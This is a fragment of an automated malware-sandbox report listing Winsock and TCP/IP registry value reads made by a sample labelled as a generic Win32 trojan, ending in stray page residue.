"QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "")51:T8004,"initAft()